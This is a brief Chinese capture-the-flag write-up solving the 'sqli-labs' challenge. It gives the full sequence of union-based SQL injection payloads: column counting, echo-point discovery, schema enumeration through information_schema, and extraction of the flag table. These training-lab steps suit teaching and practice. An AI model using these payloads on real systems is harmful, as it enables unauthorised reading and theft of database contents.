青少年CTF平台---sqli-labs

 

题目:sqli-labs

考点sql注入

打开题目

先查找字段数(id=1' order by 3 --+)

到4的时候会返回错误信息

发现有3个字段

判断回显点(?id=-1' union select 1,2,3 --+)

 

 然后看数据库的名字(id=-1' union select 1,database(),3 --+)

 

发现数据库是(security)

查找数据库的表名(id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+)

 

看到有个flag表然后查看段名(id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='flag' --+) 

 查数据(id=-1' union select 1,group_concat(0x7e,flag),3 from security.flag --+)

得到flag